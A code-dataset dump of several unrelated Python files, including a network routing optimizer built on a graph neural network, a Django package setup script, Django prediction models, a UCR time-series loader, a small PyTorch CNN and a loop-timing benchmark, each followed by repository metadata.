UOR_VERSIONS_CACHE[uor.name] = version return version def _get_uor_version_impl(uor): is_group = getattr(uor, 'components', None) is None if is_group: scm_path = os.path.join(uor.path, '%sscm' % uor.name) versiontag_path = os.path.join(scm_path, '%sscm_versiontag.h' % uor.name) if uor.name in ('bde', 'bsl', 'hsl'): version_path = os.path.join(scm_path, '%sscm_patchversion.h' % uor.name) else: version_path = os.path.join(scm_path, '%sscm_version.cpp' % uor.name) else: versiontag_path = os.path.join(uor.path, '%s_versiontag.h' % uor.name) version_path = os.path.join(uor.path, '%s_version.cpp' % uor.name) with open(versiontag_path) as f: versiontag_source = f.read() with open(version_path) as f: version_source = f.read() major_ver_re = re.compile( r'''^\s*#define\s+%s_VERSION_MAJOR\s+(\S+)\s*$''' % uor.name.upper(), re.MULTILINE) minor_ver_re = \ re.compile(r'''^\s*#define\s+%s_VERSION_MINOR\s+(\S+)\s*$''' % uor.name.upper(), re.MULTILINE) if uor.name in ('bde', 'bsl'): patch_ver_re = re.compile( r'''^\s*#define\s+%sSCM_PATCHVERSION_PATCH\s+(\S+)\s*$''' % uor.name.upper(), re.MULTILINE) else: patch_ver_re = re.compile( r'''^\s*#define\s+%s_VERSION_PATCH\s+(\S+)\s*$''' % uor.name.upper(), re.MULTILINE) major_ver = None minor_ver = None patch_ver = None m = major_ver_re.search(versiontag_source) if m: major_ver = m.group(1) m = minor_ver_re.search(versiontag_source) if m: minor_ver = m.group(1) m = patch_ver_re.search(version_source) if m: patch_ver = m.group(1) return repounits.UorVersion(major_ver, minor_ver, patch_ver) # ----------------------------------------------------------------------------- # Copyright 2015 Bloomberg Finance L.P. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ----------------------------- END-OF-FILE -----------------------------------

32.233933

79

0.598134

e42da0476c04e07a9fc4695b0b963b02986af08d

18,835

py

Python

code/optimizer/optimize_scheduling_routing.py

MiquelFerriol/TwinNet

6b627cd6e2f6bedd7cdbec790a96b19cd634ff69

[ "Apache-2.0" ]

null

code/optimizer/optimize_scheduling_routing.py

MiquelFerriol/TwinNet

6b627cd6e2f6bedd7cdbec790a96b19cd634ff69

[ "Apache-2.0" ]

null

code/optimizer/optimize_scheduling_routing.py

MiquelFerriol/TwinNet

6b627cd6e2f6bedd7cdbec790a96b19cd634ff69

[ "Apache-2.0" ]

null

""" Copyright 2021 Universitat Politècnica de Catalunya Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ import networkx as nx import configparser import numpy as np import random import tensorflow as tf from statistics import mean import os import pickle import sys sys.path.insert(1, "../code/GNN/") from model import model_fn os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' CONFIG = configparser.ConfigParser() CONFIG._interpolation = configparser.ExtendedInterpolation() CONFIG.read('../code/GNN/config.ini') SLA = [0.6, 1] POLICIES = np.array(['WFQ', 'SP', 'DRR', 'FIFO']) MAX_NUM_QUEUES = 5 with open('./optimizer/SAMPLE_FIFO_TOS_ROUTING.pkl', 'rb') as f: sample = pickle.load(f) def transformation(x, y): traffic_mean = 661.045 traffic_sdv = 419.19 packets_mean = 0.661 packets_sdv = 0.419 capacity_mean = 25495.603 capacity_sdv = 16228.992 x["traffic"] = (x["traffic"] - traffic_mean) / traffic_sdv x["packets"] = (x["packets"] - packets_mean) / packets_sdv x["capacity"] = (x["capacity"] - capacity_mean) / capacity_sdv y = tf.math.log(y) return x, y def sample_to_dependency_graph(sample, intensity, R=None): G = nx.DiGraph(sample.get_topology_object()) if R is None: R = sample.get_routing_matrix() T = sample.get_traffic_matrix() P = sample.get_performance_matrix() D_G = nx.DiGraph() for src in range(G.number_of_nodes()): for dst in range(G.number_of_nodes()): if src != dst: D_G.add_node('p_{}_{}'.format(src, dst), traffic=(T[src, dst]['Flows'][0]['AvgBw'] / sample.maxAvgLambda) * intensity, packets=(T[src, dst]['Flows'][0]['PktsGen'] / sample.maxAvgLambda) * intensity, #traffic=T[src, dst]['Flows'][0]['AvgBw'], #packets=T[src, dst]['Flows'][0]['PktsGen'], tos=int(T[src, dst]['Flows'][0]['ToS']), source=src, destination=dst, delay=float(P[src, dst]['AggInfo']['AvgDelay'])) if G.has_edge(src, dst): D_G.add_node('l_{}_{}'.format(src, dst), capacity=G.edges[src, dst]['bandwidth'], policy=np.where(G.nodes[src]['schedulingPolicy'] == POLICIES)[0][0]) for h_1, h_2 in [R[src, dst][i:i + 2] for i in range(0, len(R[src, dst]) - 1)]: D_G.add_edge('p_{}_{}'.format(src, dst), 'l_{}_{}'.format(h_1, h_2)) q_s = str(G.nodes[h_1]['queueSizes']).split(',') # policy = G.nodes[h_1]['schedulingPolicy'] if 'schedulingWeights' in G.nodes[h_1]: q_w = str(G.nodes[h_1]['schedulingWeights']).split(',') else: q_w = ['-'] if 'tosToQoSqueue' in G.nodes[h_1]: map = [m.split(',') for m in str(G.nodes[h_1]['tosToQoSqueue']).split(';')] else: map = [[1], [2], [3]] q_n = 0 for q in range(G.nodes[h_1]['levelsQoS']): D_G.add_node('q_{}_{}_{}'.format(h_1, h_2, q), size=int(q_s[q]), priority=q_n, weight=float(q_w[q]) if q_w[0] != '-' else 0) D_G.add_edge('l_{}_{}'.format(h_1, h_2), 'q_{}_{}_{}'.format(h_1, h_2, q)) if str(int(T[src, dst]['Flows'][0]['ToS'])) in map[q]: D_G.add_edge('p_{}_{}'.format(src, dst), 'q_{}_{}_{}'.format(h_1, h_2, q)) D_G.add_edge('q_{}_{}_{}'.format(h_1, h_2, q), 'p_{}_{}'.format(src, dst)) q_n += 1 D_G.remove_nodes_from([node for node, out_degree in D_G.out_degree() if out_degree == 0]) n_q = 0 n_p = 0 n_l = 0 mapping = {} for entity in list(D_G.nodes()): if entity.startswith('q'): mapping[entity] = ('q_{}'.format(n_q)) n_q += 1 elif entity.startswith('p'): mapping[entity] = ('p_{}'.format(n_p)) n_p += 1 elif entity.startswith('l'): mapping[entity] = ('l_{}'.format(n_l)) n_l += 1 D_G = nx.relabel_nodes(D_G, mapping) return D_G, n_q, n_p, n_l def generator(sample, intenisty, comb_routing, comb_scheduling): it = 0 for routing in comb_routing: D_G, n_q, n_p, n_l = sample_to_dependency_graph(sample, intenisty, routing) link_to_path = np.array([], dtype='int32') queue_to_path = np.array([], dtype='int32') l_p_s = np.array([], dtype='int32') l_q_p = np.array([], dtype='int32') path_ids = np.array([], dtype='int32') for i in range(n_p): l_s_l = 0 q_s_l = 0 for elem in D_G['p_{}'.format(i)]: if elem.startswith('l_'): link_to_path = np.append(link_to_path, int(elem.replace('l_', ''))) l_s_l += 1 elif elem.startswith('q_'): queue_to_path = np.append(queue_to_path, int(elem.replace('q_', ''))) q_s_l += 1 path_ids = np.append(path_ids, [i] * q_s_l) l_p_s = np.append(l_p_s, range(l_s_l)) l_q_p = np.append(l_q_p, range(q_s_l)) path_to_queue = np.array([], dtype='int32') sequence_queues = np.array([], dtype='int32') for i in range(n_q): seq_len = 0 for elem in D_G['q_{}'.format(i)]: path_to_queue = np.append(path_to_queue, int(elem.replace('p_', ''))) seq_len += 1 sequence_queues = np.append(sequence_queues, [i] * seq_len) queue_to_link = np.array([], dtype='int32') sequence_links = np.array([], dtype='int32') l_q_l = np.array([], dtype='int32') for i in range(n_l): seq_len = 0 for elem in D_G['l_{}'.format(i)]: queue_to_link = np.append(queue_to_link, int(elem.replace('q_', ''))) seq_len += 1 sequence_links = np.append(sequence_links, [i] * seq_len) l_q_l = np.append(l_q_l, range(seq_len)) if -1 in list(nx.get_node_attributes(D_G, 'delay').values()): continue if it % 500 == 0: print("GENERATED SAMPLE: {}".format(it)) it += 1 yield {"traffic": list(nx.get_node_attributes(D_G, 'traffic').values()), "packets": list(nx.get_node_attributes(D_G, 'packets').values()), "capacity": list(nx.get_node_attributes(D_G, 'capacity').values()), "size": list(nx.get_node_attributes(D_G, 'size').values()), "policy": list(nx.get_node_attributes(D_G, 'policy').values()), "priority": list(nx.get_node_attributes(D_G, 'priority').values()), "weight": list(nx.get_node_attributes(D_G, 'weight').values()), "link_to_path": link_to_path, "queue_to_path": queue_to_path, "path_to_queue": path_to_queue, "queue_to_link": queue_to_link, "sequence_queues": sequence_queues, "sequence_links": sequence_links, "path_ids": path_ids, "l_p_s": l_p_s, "l_q_p": l_q_p, "l_q_l": l_q_l, "n_queues": n_q, "n_links": n_l, "n_paths": n_p, }, list(nx.get_node_attributes(D_G, 'delay').values()) def input_fn(sample, intenisty, comb_routing, comb_scheduling, transform=True, repeat=True, take=None): ds = tf.data.Dataset.from_generator( lambda: generator(sample=sample, intenisty=intenisty, comb_routing=comb_routing, comb_scheduling=comb_scheduling), ({"traffic": tf.float32, "packets": tf.float32, "capacity": tf.float32, "size": tf.float32, "policy": tf.int32, "priority": tf.int32, "weight": tf.float32, "link_to_path": tf.int32, "queue_to_path": tf.int32, "path_to_queue": tf.int32, "queue_to_link": tf.int32, "sequence_queues": tf.int32, "sequence_links": tf.int32, "path_ids": tf.int32, "l_p_s": tf.int32, "l_q_p": tf.int32, "l_q_l": tf.int32, "n_queues": tf.int32, "n_links": tf.int32, "n_paths": tf.int32}, tf.float32), ({"traffic": tf.TensorShape([None]), "packets": tf.TensorShape([None]), "capacity": tf.TensorShape([None]), "size": tf.TensorShape([None]), "policy": tf.TensorShape([None]), "priority": tf.TensorShape([None]), "weight": tf.TensorShape([None]), "link_to_path": tf.TensorShape([None]), "queue_to_path": tf.TensorShape([None]), "path_to_queue": tf.TensorShape([None]), "queue_to_link": tf.TensorShape([None]), "sequence_queues": tf.TensorShape([None]), "sequence_links": tf.TensorShape([None]), "path_ids": tf.TensorShape([None]), "l_p_s": tf.TensorShape([None]), "l_q_p": tf.TensorShape([None]), "l_q_l": tf.TensorShape([None]), "n_queues": tf.TensorShape([]), "n_links": tf.TensorShape([]), "n_paths": tf.TensorShape([])}, tf.TensorShape([None]))) if transform: ds = ds.map(lambda x, y: transformation(x, y)) if repeat: ds = ds.repeat() if take: ds = ds.take(take) ds = ds.prefetch(tf.data.experimental.AUTOTUNE) return ds def evaluate_solution(D_G, pred_delays): sat_tos = [[] for _ in range(int(CONFIG['DATASET']['num_tos']))] no_sat_tos = [[] for _ in range(int(CONFIG['DATASET']['num_tos']))] best_effort = [] delays = [[] for _ in range(int(CONFIG['DATASET']['num_tos']))] id = 0 for node, data in D_G.nodes(data=True): if node.startswith('p_'): if data['tos'] < len(sat_tos) - 1: # D_G.nodes[node]['predicted_delay'] = delays[id] if pred_delays[id] <= SLA[data['tos']]: # D_G.nodes[node]['sla'] = True sat_tos[data['tos']].append(node) else: # D_G.nodes[node]['sla'] = False no_sat_tos[data['tos']].append(node) delays[data['tos']].append(pred_delays[id]) else: delays[2].append(pred_delays[id]) best_effort.append(node) id += 1 for it in range(len(best_effort)): if mean(delays[2]) < delays[2][it]: no_sat_tos[2].append(best_effort[it]) else: sat_tos[2].append(best_effort[it]) return sat_tos, no_sat_tos, delays def compute_mean(a): means = [] for elem in a: means.append(mean(elem)) return mean(means) def k_shortest_paths(G, source, target, k, weight=None): paths = [] leng = -1 for path in nx.shortest_simple_paths(G, source, target, weight=weight): if leng == -1: leng = len(path) if len(path) == leng or len(path) <= leng + k: paths.append(path) elif len(path) > leng + k: return paths return paths MODEL_DIR = './logs/all_queues' estimator = tf.estimator.Estimator( model_fn=model_fn, model_dir=MODEL_DIR, params=CONFIG ) NO_SOL_IT = 3 COMB_PER_ITERATION = 1000 MAX_SAMPLES = 5000 df_to_concat = [] # list(range(1900, 900, -100)) for intensity in list(range(1800, 900, -100)): with open('./optimizer/SAMPLE_WFQ_TOS_ROUTING.pkl', 'rb') as f: sample = pickle.load(f) with open('./optimizer/scheduling/scheduling_{}.pkl'.format(intensity), 'rb') as f: G = pickle.load(f) with open('./optimizer/routing/routing_{}.pkl'.format(intensity), 'rb') as f: R = pickle.load(f) sample._set_routing_matrix(R) sample._set_topology_object(G) K = 1 G = nx.DiGraph(sample.get_topology_object()) R = sample.get_routing_matrix() routing = np.copy(R) P = np.zeros((len(G), len(G)), dtype='object') D_G, n_q, n_p, n_l = sample_to_dependency_graph(sample, intensity) comb_routing = [routing] pred_results = estimator.predict(input_fn=lambda: input_fn( sample, intensity, comb_routing, None, transform=True, repeat=False)) pred_delay = np.exp([pred['predictions'] for pred in pred_results]) """print(sample.maxAvgLambda) print(mean(np.abs(list(nx.get_node_attributes(D_G, 'delay').values()) - pred_delay) / list( nx.get_node_attributes(D_G, 'delay').values())))""" len(pred_delay) len(list(nx.get_node_attributes(D_G, 'delay').values())) sat_tos, no_sat_tos, delays = evaluate_solution(D_G, pred_delay) ini_sat_tos = sat_tos.copy() ini_no_sat_tos = no_sat_tos.copy() ini_delays = delays.copy() len(ini_no_sat_tos[0]) len(ini_no_sat_tos[1]) print("INITIAL SOLUTION") print("SATISFIED SLA 0: {}".format(len(ini_sat_tos[0]))) print("SATISFIED SLA 1: {}".format(len(ini_sat_tos[1]))) print("MEAN DELAY BEST EFFORT: {}".format(mean(ini_delays[2]))) max_delay = compute_mean(delays) worst_routing = None for src in G.nodes(): for dst in G.nodes(): P[src][dst] = k_shortest_paths(G, src, dst, K) it = 0 it_no_sol = 0 while True: if it_no_sol == NO_SOL_IT: break print("ITERATION {}".format(it)) print("{} NOT SATISFYING SLA 0: {}".format(len(no_sat_tos[0]), no_sat_tos[0])) print("{} NOT SATISFYING SLA 1: {}".format(len(no_sat_tos[1]), no_sat_tos[1])) comb_routing = [] change = None if len(no_sat_tos[0]) != 0: print("ITERATING OVER TOS = 0") reward = no_sat_tos[0] + random.sample(no_sat_tos[1], int(len(no_sat_tos[1]) / 5)) penalize = random.sample(sat_tos[0], int(len(sat_tos[0]) / 5)) + random.sample(sat_tos[1], int( len(sat_tos[1]) / 5)) + random.sample(sat_tos[2], int(len(sat_tos[1]) / 10)) elif len(no_sat_tos[1]) != 0: print("ITERATING OVER TOS = 1") reward = no_sat_tos[1] penalize = random.sample(sat_tos[2], int(len(sat_tos[1]) / 5)) else: print("ITERATING OVER BEST EFFORT") reward = no_sat_tos[2] penalize = sat_tos[0] + sat_tos[1] if it_no_sol >= 2: print("NO SOLUTION FOUND DURING {} ITERATIONS. STARTING PENALIZING...".format(it_no_sol)) for _ in range(COMB_PER_ITERATION): R_aux = np.copy(routing) for path in reward: src = D_G.nodes[path]['source'] dst = D_G.nodes[path]['destination'] # print("CHANGING SRC: {} DST: {}".format(src,dst)) R_aux[src, dst] = random.choice(P[src, dst]) if it_no_sol >= 2: for path in penalize: src = D_G.nodes[path]['source'] dst = D_G.nodes[path]['destination'] # print("CHANGING SRC: {} DST: {}".format(src,dst)) R_aux[src, dst] = random.choice(P[src, dst]) comb_routing.append(R_aux) pred_results = estimator.predict(input_fn=lambda: input_fn( sample, intensity, comb_routing, None, transform=True, repeat=False)) pred_delay = np.exp([pred['predictions'] for pred in pred_results]) splited_delay = np.array_split(pred_delay, COMB_PER_ITERATION) it_no_sol += 1 for i in range(len(splited_delay)): s_sat_tos, s_no_sat_tos, s_delays = evaluate_solution(D_G, splited_delay[i]) if len(s_no_sat_tos[0]) < len(no_sat_tos[0]): print("FOUND BETTER SOLUTION 1: BEFORE {} AFTER {}".format(len(sat_tos[0]), len(s_sat_tos[0]))) sat_tos = s_sat_tos no_sat_tos = s_no_sat_tos delays = s_delays routing = np.copy(comb_routing[i]) it_no_sol = 0 elif (len(s_no_sat_tos[0]) == len(no_sat_tos[0])) and (len(s_no_sat_tos[1]) < len(no_sat_tos[1])): print("FOUND BETTER SOLUTION 2: BEFORE {} AFTER {}".format(len(sat_tos[1]), len(s_sat_tos[1]))) sat_tos = s_sat_tos no_sat_tos = s_no_sat_tos delays = s_delays routing = np.copy(comb_routing[i]) it_no_sol = 0 elif (len(s_no_sat_tos[0]) == len(no_sat_tos[0])) and (len(s_no_sat_tos[1]) == len(no_sat_tos[1])) and ( mean(s_delays[2]) < mean(delays[2])): print("FOUND BETTER SOLUTION 3: BEFORE {} AFTER {}".format(mean(delays[2]), mean(s_delays[2]))) sat_tos = s_sat_tos no_sat_tos = s_no_sat_tos delays = s_delays routing = np.copy(comb_routing[i]) it_no_sol = 0 print("CURRENT SOLUTION") print("SATISFIED SLA 0: {}".format(len(sat_tos[0]))) print("SATISFIED SLA 1: {}".format(len(sat_tos[1]))) print("MEAN DELAY BEST EFFORT: {}".format(mean(delays[2]))) it += 1 print("INITIAL SOLUTION FOUND") print("SATISFIED SLA 0: {}".format(len(ini_sat_tos[0]))) print("SATISFIED SLA 1: {}".format(len(ini_sat_tos[1]))) print("MEAN DELAY BEST EFFORT: {}".format(mean(ini_delays[2]))) print("BEST SOLUTION FOUND FOR INTENSITY {}".format(intensity)) print("SATISFIED SLA 0: {}".format(len(sat_tos[0]))) print("SATISFIED SLA 1: {}".format(len(sat_tos[1]))) print("MEAN DELAY BEST EFFORT: {}".format(mean(delays[2]))) with open('./optimizer/scheduling_routing/routing_{}.pkl'.format(intensity), 'wb') as f: pickle.dump(routing, f, pickle.HIGHEST_PROTOCOL) with open('./optimizer/scheduling_routing/delays_{}.pkl'.format(intensity), 'wb') as f: pickle.dump(delays, f, pickle.HIGHEST_PROTOCOL)

40.074468

116

0.554765

744ee3be090d9ec1b30307fcb2162d1792b1a5af

1,857

py

Python

setup.py

SocioDroid/django-excel-response

8aef53162b79b0b951eca73f642f5d6d0f29507c

[ "Apache-2.0" ]

null

setup.py

SocioDroid/django-excel-response

8aef53162b79b0b951eca73f642f5d6d0f29507c

[ "Apache-2.0" ]

null

setup.py

SocioDroid/django-excel-response

8aef53162b79b0b951eca73f642f5d6d0f29507c

[ "Apache-2.0" ]

null

import os from setuptools import setup # allow setup.py to be run from any path os.chdir(os.path.normpath(os.path.join(os.path.abspath(__file__), os.pardir))) with open('README.rst', 'r') as f: README = f.read() with open('VERSION', 'r') as vfile: VERSION = vfile.read().strip() setup( name='django-excel-response', version=VERSION, author='Joey Wilhelm', author_email='tarkatronic@gmail.com', license='Apache', description='Django package to easily render Excel spreadsheets', long_description=README, packages=['excel_response'], include_package_data=True, url='https://github.com/tarkatronic/django-excel-response', download_url='https://github.com/tarkatronic/django-excel-response/archive/master.tar.gz', install_requires=[ 'openpyxl>=2.6.1' ], classifiers=[ 'Development Status :: 5 - Production/Stable', 'Environment :: Web Environment', 'Intended Audience :: Developers', 'License :: OSI Approved :: Apache Software License', 'Natural Language :: English', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', 'Framework :: Django', 'Framework :: Django :: 1.8', 'Framework :: Django :: 1.9', 'Framework :: Django :: 1.10', 'Framework :: Django :: 1.11', 'Topic :: Software Development :: Libraries :: Python Modules', 'Topic :: Office/Business :: Financial :: Spreadsheet', ], zip_safe=False, test_suite='runtests.runtests' )

33.160714

94

0.620894

1ba5a40dbb20f7fa60a549ebb5de775851386fb9

2,505

py

Python

promort/predictions_manager/models.py

lucalianas/ProMort

63702e1b573025e1f956f7d7a0e829f655e728f9

[ "MIT" ]

3

2016-12-28T08:12:51.000Z

2020-07-08T21:03:48.000Z

promort/predictions_manager/models.py

lucalianas/ProMort

63702e1b573025e1f956f7d7a0e829f655e728f9

[ "MIT" ]

37

2016-11-11T09:57:45.000Z

2022-03-31T16:04:53.000Z

promort/predictions_manager/models.py

lucalianas/ProMort

63702e1b573025e1f956f7d7a0e829f655e728f9

[ "MIT" ]

4

2016-04-22T07:49:40.000Z

2021-09-22T08:09:44.000Z

# Copyright (c) 2021, CRS4 # # Permission is hereby granted, free of charge, to any person obtaining a copy of # this software and associated documentation files (the "Software"), to deal in # the Software without restriction, including without limitation the rights to # use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of # the Software, and to permit persons to whom the Software is furnished to do so, # subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS # FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR # COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER # IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN # CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. from django.db import models from django.utils import timezone from slides_manager.models import Slide class Prediction(models.Model): PREDICTION_TYPES = ( ('TISSUE', 'Tissue recognition'), ('TUMOR', 'Tumor detection'), ('GLEASON', 'Gleason patterns detection') ) label = models.CharField(max_length=100, unique=True) creation_date = models.DateTimeField(auto_now_add=True) slide = models.ForeignKey(Slide, on_delete=models.PROTECT, blank=False, related_name='predictions') type = models.CharField(max_length=7, choices=PREDICTION_TYPES, blank=False, null=False) omero_id = models.IntegerField(blank=True, null=True, default=None) provenance = models.TextField(blank=True, null=True) class TissueFragmentsCollection(models.Model): prediction = models.ForeignKey(Prediction, on_delete=models.PROTECT, blank=False, related_name='tissue_fragments') creation_date = models.DateTimeField(auto_now_add=True) def get_slide(self): return self.prediction.slide class TissueFragment(models.Model): collection = models.ForeignKey(TissueFragmentsCollection, on_delete=models.PROTECT, blank=False, related_name='fragments') shape_json = models.TextField(blank=False) creation_date = models.DateTimeField(auto_now_add=True)

44.732143

100

0.730539

48fa5839e2f2609fe9da1d82791684963b0917ce

5,222

py

Python

helper/UCR_loader.py

akryeem/dtan

b8251c3d08f36a0a75083cdb00e21aef27e6e44b

[ "MIT" ]

null

helper/UCR_loader.py

akryeem/dtan

b8251c3d08f36a0a75083cdb00e21aef27e6e44b

[ "MIT" ]

null

helper/UCR_loader.py

akryeem/dtan

b8251c3d08f36a0a75083cdb00e21aef27e6e44b

[ "MIT" ]

null

""" Created on Oct 2019 author: ronsha """ # local from helper.util import get_dataset_info import torch from torch.utils.data import TensorDataset, DataLoader from torch.utils.data.sampler import SubsetRandomSampler from tslearn.datasets import UCR_UEA_datasets import numpy as np import os def load_txt_file(datadir, dataset): ''' Loads UCR text format - useful when working with the data provided by the UCR archivce site. returns numpy array [N_samples,Width,Channels] ''' fdir = os.path.join(datadir, dataset) assert os.path.isdir(fdir), f"{fdir}. {dataset} could not be found in {datadir}" # again, for file names f_name = os.path.join(fdir, dataset) data_train = np.loadtxt(f_name+'_TRAIN',delimiter=',') data_test_val = np.loadtxt(f_name+'_TEST',delimiter=',') # get data X_train = data_train[:,1:] X_test = data_test_val[:,1:] # get labels (numerical, not one-hot encoded) y_train = data_train[:,0] y_test = data_test_val[:,0] return X_train, X_test, y_train, y_test def np_to_dataloader(X, y, batch_size=32, shuffle=True): X_tensor = torch.Tensor(X) y_tensor = torch.Tensor(y) y_tensor = y_tensor.long() dataset = TensorDataset(X_tensor, y_tensor) dataloader = DataLoader(dataset, batch_size=batch_size, shuffle=shuffle, num_workers=2) return dataloader def get_train_and_validation_loaders(dataloader, validation_split=0.1, batch_size=32, shuffle=True, rand_seed=42): ''' Inspired by:https://stackoverflow.com/a/50544887 Args: dataloader (torch DataLoader): dataloader torch type validation_split (float): size of validation set out of the original train set. Default is 0.1 batch_size (int): batch size. Default is 32. shuffle (bool): default if True. rand_seed (int): random seed for shuffling. default is 42 Returns: train_loader, validation_loader ''' # Creating data indices for training and validation splits: dataset_size = len(dataloader.dataset) indices = list(range(dataset_size)) split = int(np.floor(validation_split * dataset_size)) if shuffle: np.random.seed(rand_seed) np.random.shuffle(indices) train_indices, val_indices = indices[split:], indices[:split] # Creating PT data samplers and loaders: train_sampler = SubsetRandomSampler(train_indices) valid_sampler = SubsetRandomSampler(val_indices) train_loader = torch.utils.data.DataLoader(dataloader.dataset, batch_size=batch_size, sampler=train_sampler) validation_loader = torch.utils.data.DataLoader(dataloader.dataset, batch_size=batch_size, sampler=valid_sampler) return train_loader, validation_loader def processed_UCR_data(X_train, X_test, y_train, y_test): ''' process tslearn UCR datasets for pytorch. Fixes negative labels and make sure labels are not 1-hot. Adds channel dim when necessary Args: X_train, X_test, y_train, y_test: numpy arrays X: [N_samples, Width, Channels] y: [N_samples] Returns: numpy array - X_train, X_test, y_train, y_test ''' # add a third channel for univariate data if len(X_train.shape) < 3: X_train = np.expand_dims(X_train, -1) X_test = np.expand_dims(X_test, -1) # Fix labels (some UCR datasets have negative labels) class_names = np.unique(y_train, axis=0) y_train_tmp = np.zeros(len(y_train)) y_test_tmp = np.zeros(len(y_test)) for i, class_name in enumerate(class_names): y_train_tmp[y_train == class_name] = i y_test_tmp[y_test == class_name] = i # Fixed y_train = y_train_tmp y_test = y_test_tmp # Switch channel dim () # Torch data format is [N, C, W] W=timesteps X_train = np.swapaxes(X_train, 2, 1) X_test = np.swapaxes(X_test, 2, 1) return X_train, X_test, y_train, y_test def get_UCR_data(dataset_name, datadir=0, batch_size=32): ''' Args: dataset_name (str): name of the dataset under parent dir 'datadir' datadir (str): location of data files batch_size (int): batchsize for torch dataloaders Returns: ''' if (datadir): X_train, X_test, y_train, y_test = load_txt_file(datadir, dataset_name) else: X_train, y_train, X_test, y_test = UCR_UEA_datasets().load_dataset(dataset_name) X_train, X_test, y_train, y_test = processed_UCR_data(X_train, X_test, y_train, y_test) input_shape, n_classes = get_dataset_info(dataset_name, X_train, X_test, y_train, y_test, print_info=True) train_dataloader = np_to_dataloader(X_train, y_train, batch_size, shuffle=True) train_dataloader, validation_dataloader = get_train_and_validation_loaders(train_dataloader, validation_split=0.1, batch_size=batch_size) test_dataloader = np_to_dataloader(X_test, y_test, batch_size, shuffle=True) return train_dataloader, validation_dataloader, test_dataloader

34.813333

114

0.67388

3f6b68c29a82962b94c40d4ccfb6f64ddec3ac08

1,173

py

Python

src/model.py

ameya-parab/digit-recognizer

3b1f75f702155a7c5556f521244a29209094498e

[ "MIT" ]

null

src/model.py

ameya-parab/digit-recognizer

3b1f75f702155a7c5556f521244a29209094498e

[ "MIT" ]

null

src/model.py

ameya-parab/digit-recognizer

3b1f75f702155a7c5556f521244a29209094498e

[ "MIT" ]

null

import torch import torch.nn as nn import torch.nn.functional as F class NeuralNetwork(nn.Module): def __init__(self): super(NeuralNetwork, self).__init__() self.conv1 = nn.Conv2d(in_channels=1, out_channels=32, kernel_size=5, stride=1) self.conv2 = nn.Conv2d(in_channels=32, out_channels=64, kernel_size=5, stride=1) self.dropout1 = nn.Dropout2d(p=0.20) self.dropout2 = nn.Dropout2d(p=0.35) self.fc1 = nn.Linear(in_features=1024, out_features=256) self.fc2 = nn.Linear(in_features=256, out_features=64) self.fc3 = nn.Linear(in_features=64, out_features=10) def forward(self, data): data = self.conv1(data) data = F.leaky_relu(data) data = F.max_pool2d(data, 2) data = self.dropout1(data) data = self.conv2(data) data = F.leaky_relu(data) data = F.max_pool2d(data, 2) data = self.dropout2(data) data = torch.flatten(data, start_dim=1) data = self.fc1(data) data = F.leaky_relu(data) data = self.fc2(data) data = F.leaky_relu(data) output = self.fc3(data) return output

27.928571

88

0.623188

3712690d22ea0e83e6f520e9058571758115cc9b

392

py

Python

ch5/performances.map.py

ldmcdaniel/learning_python

63717c397cd75e45a8aef909d4b601466cd6036a

[ "MIT" ]

55

2018-07-04T10:12:15.000Z

2022-03-03T19:51:54.000Z

ch5/performances.map.py

ldmcdaniel/learning_python

63717c397cd75e45a8aef909d4b601466cd6036a

[ "MIT" ]

6

2020-03-24T16:37:46.000Z

2021-06-10T21:04:36.000Z

ch5/performances.map.py

ldmcdaniel/learning_python

63717c397cd75e45a8aef909d4b601466cd6036a

[ "MIT" ]

32

2018-07-10T05:56:31.000Z

2021-09-04T23:19:42.000Z

from time import time mx = 2 * 10 ** 7 t = time() absloop = [] for n in range(mx): absloop.append(abs(n)) print('for loop: {:.4f} s'.format(time() - t)) t = time() abslist = [abs(n) for n in range(mx)] print('list comprehension: {:.4f} s'.format(time() - t)) t = time() absmap = list(map(abs, range(mx))) print('map: {:.4f} s'.format(time() - t)) print(absloop == abslist == absmap)

19.6

56

0.591837

e9b5f8aa339d2447e0117ff126fda2edac2758fe

1,841

py

Python

AlexaSongBot/__main__.py

victorsilva0292/trTt2Ls

9f8edbee0ffd533b3063a2ad602e226059563b08

[ "MIT" ]

null

AlexaSongBot/__main__.py

victorsilva0292/trTt2Ls

9f8edbee0ffd533b3063a2ad602e226059563b08

[ "MIT" ]

null

AlexaSongBot/__main__.py

victorsilva0292/trTt2Ls

9f8edbee0ffd533b3063a2ad602e226059563b08

[ "MIT" ]

null

